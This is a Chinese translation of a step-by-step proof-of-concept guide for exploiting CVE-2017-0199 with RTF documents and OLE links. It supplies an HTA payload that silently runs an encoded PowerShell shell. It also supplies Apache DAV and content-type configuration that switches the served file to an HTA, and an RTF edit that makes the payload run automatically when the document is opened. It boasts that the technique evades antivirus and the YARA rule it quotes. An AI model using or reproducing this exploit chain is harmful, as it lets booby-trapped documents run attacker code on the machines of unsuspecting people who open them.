技術(shù)背景
我們可以將OLEv2鏈接包含在現(xiàn)有文檔中。 這些對(duì)象將反映加載到文檔中的源鏈接中的當(dāng)前內(nèi)容。
令人驚奇的是,如果嘗試將HTA鏈接包含為OLEv2對(duì)象,那么它將被執(zhí)行一次(在創(chuàng)建時(shí)),但Winword將返回一個(gè)錯(cuò)誤,如:
這種情況下出現(xiàn)的問(wèn)題是,HTA文件將不會(huì)被持久化(為了使其持續(xù),您必須將其鏈接到文件+創(chuàng)建圖標(biāo),但是我們想要它隱藏并擁有自動(dòng)運(yùn)行權(quán)限)
我開(kāi)始通過(guò)思考如何處理不是惡意的OLE對(duì)象鏈接到遠(yuǎn)程RTF文件…為了實(shí)現(xiàn)在“proper”Microsoft Office中的預(yù)期方式,我一點(diǎn)點(diǎn)修改在Apache中服務(wù)我的文件的內(nèi)容類型和DAV模塊。
從那里開(kāi)始,我將有一個(gè)有效的嵌入式對(duì)象鏈接,每次打開(kāi)我的文檔后自動(dòng)更新!
下一步?在HTA中用我的有效載荷修改來(lái)源的文檔
在這種情況下能夠:
– 為真正的RTF文件創(chuàng)建一個(gè)動(dòng)態(tài)OLEv2對(duì)象鏈接
– 使用我的有效載荷修改源的RTF
– 如果我想創(chuàng)建一個(gè)直接鏈接到HTA文檔,則繞過(guò)產(chǎn)生的錯(cuò)誤
另一個(gè)問(wèn)題?OLE對(duì)象需要自動(dòng)激活
步驟1?
準(zhǔn)備一個(gè)HTA文件:(HTA文件是可以運(yùn)行JScr??ipt和VBscript的HTML應(yīng)用程序)
我們稱之為“?ms.hta?”
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta content=”text/html; charset=utf-8″ http-equiv=”Content-Type” />
<title>Bonjour</title>
<script language=”VBScript”>
Set owFrClN0giJ = CreateObject(“Wscript.Shell”)
Set v1ymUkaljYF = CreateObject(“Scripting.FileSystemObject”)
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(“%PSModulePath%”) + “..\powershell.exe”) Then
owFrClN0giJ.Run “powershell.exe -nop -w hidden -e ENCODED_B64_SHELL”
End If
</script>
<hta:application
id=”oHTA”
applicationname=”Bonjour”
application=”yes”
>
</hta:application>
</head>
<div>
<object type=”text/html” data=”http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender” width=”100%” height=”100%”>
</object></div>
<body>
</body>
</html>
步驟2
使用任意隨機(jī)內(nèi)容的Winword創(chuàng)建一個(gè)簡(jiǎn)單的RTF文檔。(在例子中,我使用字符串來(lái)作為我的內(nèi)容)
命名為“?ms.rtf?”
步驟3
在已完全控制的網(wǎng)絡(luò)服務(wù)器上推送這2個(gè)文件。
我們假定它將被存儲(chǔ)在/ var / www / html中
現(xiàn)在我們必須配置Apache才能將ms.rtf作為一個(gè)鏈接
a2enmod dav
a2enmod dav_fs
a2enmod dav_lock
a2enmod headers
service apache2 restart
以下指令將:
– 將“Content-Type application / rtf”添加到/ ms中的所有文件中
– 允許Microsoft Office執(zhí)行的PROPFIND請(qǐng)求
Modify virtualhost and include:
<Directory /var/www/html/ms/>
Header set Content-Type “application/rtf”
</Directory>
<Directory />
Dav on
</Directory>
service apache2 restart
步驟4
使用Winword“?exploit.rtf?”?創(chuàng)建一個(gè)簡(jiǎn)單的RTF文檔。這將是我們的漏洞利用!
插入 – >對(duì)象
單擊確定后,您將獲得包含隨機(jī)字符串內(nèi)容的“ms.rtf”文件。
將該文件保存為“?exploit.rtf?”
在這一步我們可以關(guān)閉Winword,并轉(zhuǎn)到下一步改變ms.rtf的內(nèi)容與HTA有效載荷…
步驟5
以下步驟將:
– 更改自定義HTA有效載荷中包含的ms.rtf
– Web服務(wù)器將發(fā)送“application/hta”的內(nèi)容類型…這將由Winword客戶端解析,它將運(yùn)行mshta來(lái)處理這個(gè)內(nèi)容類型并執(zhí)行我們的有效載荷
cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf
vi /etc/apache2/sites-enables/000-default Change -> application/rtf to application/hta like: <Directory /var/www/html/ms/> Header set Content-Type "application/hta" </Directory>
service apache2 restart
步驟6
在這一步,如果用戶打開(kāi)“exploit.rtf”文件,他必須雙擊鏈接對(duì)象來(lái)啟動(dòng)攻擊…
如果我們想要在文檔打開(kāi)時(shí)自動(dòng)加載OLE對(duì)象,必須編輯exploit.rtf文件并更改至\ object \ objautlink \?objupdate?\ rsltpict …………………… ..
在這個(gè)步驟中,漏洞利用已經(jīng)成功構(gòu)建。
使用方法:
一旦用戶打開(kāi)文檔,OLE對(duì)象通過(guò)鏈接進(jìn)行更新,并且由于服務(wù)器提供的application/hta content-type執(zhí)行ms.hta,OLE對(duì)象將通過(guò)鏈接來(lái)更新。這樣會(huì)得到執(zhí)行代碼的結(jié)果。Meterpreter命令如下:
我們不用在乎警告,因?yàn)榇a已經(jīng)在執(zhí)行了…
使用當(dāng)前AV /發(fā)布的YARA規(guī)則
從我的個(gè)人測(cè)試看來(lái),這個(gè)方法目前還沒(méi)有被AV捕獲(Defender已經(jīng)擁有CVE-2017-0199的簽名)此外,目前已發(fā)布的yara?規(guī)則與此漏洞利用率不匹配。
rule rtf_objdata_urlmoniker_http {
strings:
$header = “{\\rtf1”
$objdata = “objdata 0105000002000000” nocase
$urlmoniker = “E0C9EA79F9BACE118C8200AA004BA90B” nocase
$http = “68007400740070003a002f002f00” nocase
condition:
$header at 0 and $objdata and $urlmoniker and $http
}
確實(shí),urlmoniker不匹配,將永遠(yuǎn)不會(huì)觸發(fā)這個(gè)Yara規(guī)則。
文章來(lái)源:http://securityaffairs.co/wordpress/58077/breaking-news/cve-2017-0199-exploitation-poc.html